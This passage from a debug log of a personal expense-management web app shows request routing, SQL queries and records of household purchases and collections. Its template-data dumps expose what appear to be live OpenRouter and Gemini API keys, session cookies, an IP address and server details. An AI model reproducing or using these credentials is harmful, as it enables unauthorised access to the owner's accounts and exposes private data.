    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T14:05:30.781Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2025-12-25T14:05:30.782Z server-connect:app Executing action step identify
2025-12-25T14:05:30.782Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:30.782Z server-connect:output identity: 1
2025-12-25T14:05:30.782Z server-connect:app Executing action step restrict
2025-12-25T14:05:30.782Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:30.783Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2025-12-25T14:05:30.784Z server-connect:output restrict: undefined
2025-12-25T14:05:30.784Z server-connect:app Executing action step select
2025-12-25T14:05:30.784Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2025-12-25T14:05:30.785Z server-connect:app Executing action step identify
2025-12-25T14:05:30.785Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:30.785Z server-connect:output identity: 1
2025-12-25T14:05:30.785Z server-connect:app Executing action step restrict
2025-12-25T14:05:30.785Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:30.786Z server-connect:output restrict: undefined
2025-12-25T14:05:30.786Z server-connect:app Executing action step paged
2025-12-25T14:05:30.786Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-25T14:05:30.789Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2025-12-25T14:05:30.793Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2025-12-25T14:05:31.501Z server-connect:router Serving templateView /expense/list
2025-12-25T14:05:31.501Z server-connect:app Executing action step identify
2025-12-25T14:05:31.501Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:31.501Z server-connect:output identity: 1
2025-12-25T14:05:31.501Z server-connect:app Executing action step restrict
2025-12-25T14:05:31.501Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:31.502Z server-connect:output restrict: undefined
2025-12-25T14:05:31.502Z server-connect:router Render template expense/list
2025-12-25T14:05:31.502Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T14:05:31.737Z server-connect:router Serving serverConnect /api/expense/list
2025-12-25T14:05:31.738Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-25T14:05:31.738Z server-connect:app Executing action step identify
2025-12-25T14:05:31.738Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:31.738Z server-connect:output identity: 1
2025-12-25T14:05:31.738Z server-connect:app Executing action step restrict
2025-12-25T14:05:31.738Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:31.739Z server-connect:app Executing action step identify
2025-12-25T14:05:31.739Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:31.739Z server-connect:output identity: 1
2025-12-25T14:05:31.739Z server-connect:app Executing action step restrict
2025-12-25T14:05:31.739Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:31.739Z server-connect:output restrict: undefined
2025-12-25T14:05:31.739Z server-connect:app Executing action step paged
2025-12-25T14:05:31.739Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-25T14:05:31.740Z server-connect:output restrict: undefined
2025-12-25T14:05:31.740Z server-connect:app Executing action step select
2025-12-25T14:05:31.740Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-25T14:05:31.741Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-25T14:05:31.748Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-25T14:05:33.198Z server-connect:router Serving templateView /workout
2025-12-25T14:05:33.199Z server-connect:app Executing action step identify
2025-12-25T14:05:33.199Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:33.199Z server-connect:output identity: 1
2025-12-25T14:05:33.199Z server-connect:app Executing action step restrict
2025-12-25T14:05:33.199Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:33.199Z server-connect:output restrict: undefined
2025-12-25T14:05:33.200Z server-connect:router Render template workout
2025-12-25T14:05:33.200Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1fc6-pdJaOFkcZa/zPMYtGWbEgDG+TRQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
